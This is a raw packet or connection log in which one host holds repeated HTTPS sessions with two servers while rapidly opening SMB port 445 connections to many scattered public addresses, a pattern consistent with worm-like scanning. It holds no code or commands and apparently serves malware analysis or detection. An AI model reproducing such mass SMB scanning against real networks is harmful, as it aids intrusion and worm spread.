Jul 20, 2022 09:10:06.329056025 CEST	55446	445	192.168.2.6	140.38.128.233
Jul 20, 2022 09:10:06.329757929 CEST	55447	445	192.168.2.6	188.71.184.176
Jul 20, 2022 09:10:06.331290007 CEST	55449	445	192.168.2.6	98.56.199.57
Jul 20, 2022 09:10:06.346613884 CEST	443	55436	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.346813917 CEST	55436	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.365046978 CEST	55436	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.365061045 CEST	443	55436	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.394382000 CEST	55436	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.394399881 CEST	443	55436	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.420698881 CEST	55453	445	192.168.2.6	12.181.145.96
Jul 20, 2022 09:10:06.420980930 CEST	55457	445	192.168.2.6	96.172.33.19
Jul 20, 2022 09:10:06.452440023 CEST	55461	445	192.168.2.6	212.189.8.33
Jul 20, 2022 09:10:06.453263044 CEST	55462	445	192.168.2.6	104.132.167.44
Jul 20, 2022 09:10:06.454133987 CEST	55463	445	192.168.2.6	96.105.30.203
Jul 20, 2022 09:10:06.461129904 CEST	55468	445	192.168.2.6	5.174.55.228
Jul 20, 2022 09:10:06.463395119 CEST	55471	445	192.168.2.6	135.67.17.199
Jul 20, 2022 09:10:06.465634108 CEST	55473	445	192.168.2.6	50.187.152.84
Jul 20, 2022 09:10:06.466242075 CEST	443	55436	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.466325045 CEST	443	55436	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.466344118 CEST	55436	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.466392040 CEST	55436	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.466576099 CEST	55474	445	192.168.2.6	132.131.86.4
Jul 20, 2022 09:10:06.468041897 CEST	55476	445	192.168.2.6	212.196.28.172
Jul 20, 2022 09:10:06.469466925 CEST	55478	445	192.168.2.6	39.116.22.100
Jul 20, 2022 09:10:06.470933914 CEST	55480	445	192.168.2.6	115.201.101.36
Jul 20, 2022 09:10:06.473673105 CEST	55484	445	192.168.2.6	83.58.101.225
Jul 20, 2022 09:10:06.474421978 CEST	55485	445	192.168.2.6	188.136.137.234
Jul 20, 2022 09:10:06.480082035 CEST	55436	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.480117083 CEST	443	55436	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.480133057 CEST	55436	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.480187893 CEST	55436	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.526307106 CEST	55491	445	192.168.2.6	182.106.85.233
Jul 20, 2022 09:10:06.526381016 CEST	55494	445	192.168.2.6	37.180.142.221
Jul 20, 2022 09:10:06.526488066 CEST	55496	445	192.168.2.6	197.102.165.206
Jul 20, 2022 09:10:06.526798964 CEST	55504	445	192.168.2.6	211.203.48.219
Jul 20, 2022 09:10:06.526807070 CEST	55506	445	192.168.2.6	21.34.137.95
Jul 20, 2022 09:10:06.526926041 CEST	55507	445	192.168.2.6	26.117.118.15
Jul 20, 2022 09:10:06.526988029 CEST	55509	445	192.168.2.6	33.205.42.195
Jul 20, 2022 09:10:06.527118921 CEST	55513	445	192.168.2.6	155.101.152.179
Jul 20, 2022 09:10:06.527141094 CEST	55512	445	192.168.2.6	207.96.53.210
Jul 20, 2022 09:10:06.535831928 CEST	55488	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.535885096 CEST	443	55488	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.535994053 CEST	55488	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.536883116 CEST	55488	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.536901951 CEST	443	55488	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.675827980 CEST	445	55513	155.101.152.179	192.168.2.6
Jul 20, 2022 09:10:06.675918102 CEST	55513	445	192.168.2.6	155.101.152.179
Jul 20, 2022 09:10:06.676709890 CEST	55514	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:06.689059973 CEST	443	55488	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.689172029 CEST	55488	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.704621077 CEST	55488	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.704644918 CEST	443	55488	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.766755104 CEST	55488	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.766778946 CEST	443	55488	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.823647976 CEST	443	55488	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.823724031 CEST	443	55488	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.823735952 CEST	55488	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.823787928 CEST	55488	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.827475071 CEST	445	55514	155.101.152.1	192.168.2.6
Jul 20, 2022 09:10:06.827627897 CEST	55514	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:06.926745892 CEST	55516	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:06.928580999 CEST	55488	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.928647995 CEST	443	55488	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.928672075 CEST	55488	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.928729057 CEST	55488	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.938966990 CEST	55517	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.939037085 CEST	443	55517	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:06.939157963 CEST	55517	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.945596933 CEST	55517	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:06.945632935 CEST	443	55517	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.069288969 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.069343090 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.069478989 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.070825100 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.070854902 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.076101065 CEST	445	55516	155.101.152.1	192.168.2.6
Jul 20, 2022 09:10:07.076201916 CEST	55516	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:07.093158007 CEST	443	55517	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.093292952 CEST	55517	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.102487087 CEST	55517	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.102509975 CEST	443	55517	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.106594086 CEST	55517	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.106617928 CEST	443	55517	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.181710005 CEST	443	55517	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.181782961 CEST	55517	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.181803942 CEST	443	55517	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.181823969 CEST	443	55517	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.181849003 CEST	55517	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.181879044 CEST	55517	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.181910038 CEST	55517	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.181925058 CEST	443	55517	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.181950092 CEST	55517	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.181972980 CEST	55517	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.259417057 CEST	55521	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.259478092 CEST	443	55521	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.259562016 CEST	55521	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.261187077 CEST	55521	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.261214972 CEST	443	55521	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.308692932 CEST	55513	445	192.168.2.6	155.101.152.179
Jul 20, 2022 09:10:07.413779020 CEST	443	55521	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.413958073 CEST	55521	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.419222116 CEST	55522	445	192.168.2.6	53.172.0.141
Jul 20, 2022 09:10:07.422827959 CEST	55521	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.422858953 CEST	443	55521	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.437310934 CEST	55527	445	192.168.2.6	208.63.103.251
Jul 20, 2022 09:10:07.437901020 CEST	55528	445	192.168.2.6	105.95.6.48
Jul 20, 2022 09:10:07.448807955 CEST	55530	445	192.168.2.6	143.194.73.56
Jul 20, 2022 09:10:07.449875116 CEST	55531	445	192.168.2.6	121.59.131.147
Jul 20, 2022 09:10:07.451533079 CEST	55533	445	192.168.2.6	219.234.3.48
Jul 20, 2022 09:10:07.451945066 CEST	55534	445	192.168.2.6	155.35.191.98
Jul 20, 2022 09:10:07.456747055 CEST	55521	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.456778049 CEST	443	55521	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.464915037 CEST	55514	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:07.551496029 CEST	55536	445	192.168.2.6	74.174.20.170
Jul 20, 2022 09:10:07.551647902 CEST	55541	445	192.168.2.6	100.231.17.16
Jul 20, 2022 09:10:07.551709890 CEST	55539	445	192.168.2.6	71.216.73.44
Jul 20, 2022 09:10:07.578780890 CEST	55546	445	192.168.2.6	12.90.113.217
Jul 20, 2022 09:10:07.583432913 CEST	55549	445	192.168.2.6	134.113.107.108
Jul 20, 2022 09:10:07.583549976 CEST	55551	445	192.168.2.6	58.225.211.26
Jul 20, 2022 09:10:07.583587885 CEST	55550	445	192.168.2.6	223.89.135.95
Jul 20, 2022 09:10:07.583841085 CEST	55556	445	192.168.2.6	187.237.26.203
Jul 20, 2022 09:10:07.584608078 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.584739923 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.588016033 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.588031054 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.588469028 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.590198994 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.590996981 CEST	443	55521	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.591106892 CEST	55521	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.591124058 CEST	443	55521	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.591191053 CEST	55521	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.596790075 CEST	55559	445	192.168.2.6	64.82.3.108
Jul 20, 2022 09:10:07.596820116 CEST	55560	445	192.168.2.6	221.135.202.133
Jul 20, 2022 09:10:07.597048998 CEST	55565	445	192.168.2.6	209.225.163.39
Jul 20, 2022 09:10:07.597086906 CEST	55564	445	192.168.2.6	12.71.23.121
Jul 20, 2022 09:10:07.597248077 CEST	55568	445	192.168.2.6	150.174.50.225
Jul 20, 2022 09:10:07.597304106 CEST	55569	445	192.168.2.6	18.228.191.1
Jul 20, 2022 09:10:07.597460032 CEST	55571	445	192.168.2.6	73.132.8.248
Jul 20, 2022 09:10:07.598567963 CEST	55521	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.598602057 CEST	443	55521	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.598612070 CEST	55521	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.598655939 CEST	55521	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.601473093 CEST	55572	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.601514101 CEST	443	55572	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.601619959 CEST	55572	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.601985931 CEST	55572	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.601995945 CEST	443	55572	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.605520964 CEST	55516	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:07.636517048 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.659219980 CEST	55582	445	192.168.2.6	139.133.167.180
Jul 20, 2022 09:10:07.660099983 CEST	55583	445	192.168.2.6	199.252.229.254
Jul 20, 2022 09:10:07.662220001 CEST	55586	445	192.168.2.6	46.126.115.235
Jul 20, 2022 09:10:07.665568113 CEST	55590	445	192.168.2.6	114.102.10.251
Jul 20, 2022 09:10:07.666352987 CEST	55591	445	192.168.2.6	48.171.97.45
Jul 20, 2022 09:10:07.673129082 CEST	55592	445	192.168.2.6	192.166.138.246
Jul 20, 2022 09:10:07.675649881 CEST	55594	445	192.168.2.6	133.187.119.166
Jul 20, 2022 09:10:07.675803900 CEST	55596	445	192.168.2.6	35.31.126.214
Jul 20, 2022 09:10:07.755503893 CEST	443	55572	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.755659103 CEST	55572	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.761089087 CEST	55572	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.761102915 CEST	443	55572	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.808631897 CEST	55513	445	192.168.2.6	155.101.152.179
Jul 20, 2022 09:10:07.819749117 CEST	55572	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.819767952 CEST	443	55572	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.893960953 CEST	443	55572	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.894046068 CEST	443	55572	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.894229889 CEST	55572	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.915055990 CEST	55572	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.915077925 CEST	443	55572	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.925714016 CEST	55599	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.925772905 CEST	443	55599	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.925879955 CEST	55599	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.926263094 CEST	55599	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:07.926284075 CEST	443	55599	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:07.927721977 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.927751064 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.927776098 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.927876949 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.927894115 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.927961111 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.927984953 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.928011894 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.928039074 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.928072929 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.928082943 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.928129911 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.928137064 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.928179979 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.931428909 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.931463003 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.931478024 CEST	55519	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:07.931488037 CEST	443	55519	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:07.964886904 CEST	55514	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:08.061398029 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.061449051 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.061538935 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.061986923 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.062009096 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.075592041 CEST	443	55599	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.075666904 CEST	55599	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.087764978 CEST	55599	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.087789059 CEST	443	55599	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.089838982 CEST	55599	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.089859962 CEST	443	55599	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.105556011 CEST	55516	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:08.159882069 CEST	443	55599	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.159970045 CEST	443	55599	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.160046101 CEST	55599	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.160096884 CEST	55599	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.160227060 CEST	55599	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.160245895 CEST	443	55599	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.160259008 CEST	55599	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.160310030 CEST	55599	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.163523912 CEST	55602	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.163569927 CEST	443	55602	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.163717985 CEST	55602	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.164114952 CEST	55602	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.164124012 CEST	443	55602	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.314522028 CEST	443	55602	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.314604044 CEST	55602	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.402456999 CEST	55189	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:08.458703041 CEST	55602	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.458724976 CEST	443	55602	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.461474895 CEST	55602	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.461496115 CEST	443	55602	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.464940071 CEST	55192	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:08.529469967 CEST	55604	445	192.168.2.6	158.97.112.85
Jul 20, 2022 09:10:08.554635048 CEST	443	55602	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.554754972 CEST	55602	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.554764986 CEST	443	55602	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.554827929 CEST	55602	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.572586060 CEST	55607	445	192.168.2.6	142.46.58.88
Jul 20, 2022 09:10:08.581273079 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.581394911 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.581999063 CEST	55608	445	192.168.2.6	46.128.24.77
Jul 20, 2022 09:10:08.583812952 CEST	55610	445	192.168.2.6	76.71.189.194
Jul 20, 2022 09:10:08.583919048 CEST	55611	445	192.168.2.6	30.186.49.141
Jul 20, 2022 09:10:08.584000111 CEST	55613	445	192.168.2.6	39.57.212.58
Jul 20, 2022 09:10:08.584089994 CEST	55614	445	192.168.2.6	207.34.150.233
Jul 20, 2022 09:10:08.586767912 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.586786985 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.586918116 CEST	55602	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.586956024 CEST	443	55602	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.586966038 CEST	55602	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.587152004 CEST	55602	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.587393045 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.589313030 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.592530012 CEST	55617	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.592561960 CEST	443	55617	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.592662096 CEST	55617	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.604331970 CEST	55617	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.604366064 CEST	443	55617	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.632504940 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.687771082 CEST	55622	445	192.168.2.6	219.172.184.186
Jul 20, 2022 09:10:08.687855959 CEST	55624	445	192.168.2.6	40.195.244.87
Jul 20, 2022 09:10:08.688364983 CEST	55625	445	192.168.2.6	110.0.137.252
Jul 20, 2022 09:10:08.691899061 CEST	55629	445	192.168.2.6	109.93.229.119
Jul 20, 2022 09:10:08.692023993 CEST	55632	445	192.168.2.6	198.34.123.135
Jul 20, 2022 09:10:08.692049980 CEST	55633	445	192.168.2.6	4.11.133.17
Jul 20, 2022 09:10:08.692137003 CEST	55634	445	192.168.2.6	218.134.124.230
Jul 20, 2022 09:10:08.692312956 CEST	55639	445	192.168.2.6	42.253.163.197
Jul 20, 2022 09:10:08.716860056 CEST	55640	445	192.168.2.6	152.8.181.233
Jul 20, 2022 09:10:08.719033957 CEST	55642	445	192.168.2.6	14.0.104.219
Jul 20, 2022 09:10:08.720053911 CEST	55643	445	192.168.2.6	215.200.164.253
Jul 20, 2022 09:10:08.722778082 CEST	55646	445	192.168.2.6	39.108.8.88
Jul 20, 2022 09:10:08.723567963 CEST	55647	445	192.168.2.6	138.79.148.22
Jul 20, 2022 09:10:08.726706982 CEST	55651	445	192.168.2.6	153.72.125.87
Jul 20, 2022 09:10:08.727464914 CEST	55652	445	192.168.2.6	90.55.124.5
Jul 20, 2022 09:10:08.748577118 CEST	443	55617	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.748688936 CEST	55617	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.757882118 CEST	55617	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.757900953 CEST	443	55617	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.779119015 CEST	55656	445	192.168.2.6	128.9.202.158
Jul 20, 2022 09:10:08.779752970 CEST	55657	445	192.168.2.6	21.109.201.70
Jul 20, 2022 09:10:08.785799026 CEST	55617	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.785829067 CEST	443	55617	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.797713041 CEST	55662	445	192.168.2.6	86.151.108.46
Jul 20, 2022 09:10:08.804588079 CEST	55664	445	192.168.2.6	165.0.35.42
Jul 20, 2022 09:10:08.806159019 CEST	55666	445	192.168.2.6	144.184.155.15
Jul 20, 2022 09:10:08.806447983 CEST	55676	445	192.168.2.6	58.197.89.28
Jul 20, 2022 09:10:08.806559086 CEST	55675	445	192.168.2.6	61.151.195.235
Jul 20, 2022 09:10:08.806652069 CEST	55679	445	192.168.2.6	7.217.96.49
Jul 20, 2022 09:10:08.808734894 CEST	55513	445	192.168.2.6	155.101.152.179
Jul 20, 2022 09:10:08.874372005 CEST	443	55617	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.874465942 CEST	55617	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.874485970 CEST	443	55617	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.874505997 CEST	443	55617	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.874537945 CEST	55617	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.874579906 CEST	55617	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.880669117 CEST	55617	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.880702972 CEST	443	55617	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.880759001 CEST	55617	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.880800009 CEST	55617	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.913115025 CEST	55680	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.913167000 CEST	443	55680	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.913305044 CEST	55680	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.916270018 CEST	55680	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:08.916310072 CEST	443	55680	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:08.926760912 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.926793098 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.926819086 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.926892996 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.926918983 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.926976919 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.926986933 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.927006960 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.927032948 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.927072048 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.927082062 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.927114010 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.927117109 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.927129030 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.927164078 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.927212000 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.927261114 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.927314043 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.930267096 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.930301905 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.930320024 CEST	55601	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:08.930329084 CEST	443	55601	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:08.980592966 CEST	55514	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:08.983675957 CEST	445	55664	165.0.35.42	192.168.2.6
Jul 20, 2022 09:10:08.996289968 CEST	55516	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:09.064960957 CEST	443	55680	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.065062046 CEST	55680	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.073210955 CEST	55680	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.073234081 CEST	443	55680	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.108967066 CEST	55680	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.108989000 CEST	443	55680	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.174432039 CEST	443	55680	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.174534082 CEST	443	55680	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:09.174618006 CEST	55680	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:09.174657106 CEST	55680	443	192.168.2.6	20.238.103.94
